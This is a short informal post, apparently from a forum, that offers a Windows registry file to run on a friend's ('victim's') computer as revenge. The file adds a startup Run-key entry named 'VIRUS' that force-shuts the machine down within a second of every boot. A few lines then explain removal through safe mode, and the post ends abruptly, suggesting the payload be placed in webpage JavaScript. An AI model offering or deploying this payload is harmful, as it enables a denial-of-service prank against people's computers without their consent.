Got any problem with your friend got to make them pay here is an easy way, but never use it unless it is necessary.
put this followin text in a .reg file and run it in the victims pc:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]"VIRUS"="%windir%\\SYSTEM32\\SHUTDOWN.EXE -t 1 -c \"Howz this new Virus ah\" -f"

DONT PUT IT IN UR COMPUTER, I AM NOT RESPONSIBLE, if it happens, to you,
start windows in safe mode, and open registry editor by typiing
REGEDIT in start->run. navigate to
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
and remove the string value named VIRUS,
restart you computer.
You can also put this in a javascript code,
just add this code to your webpage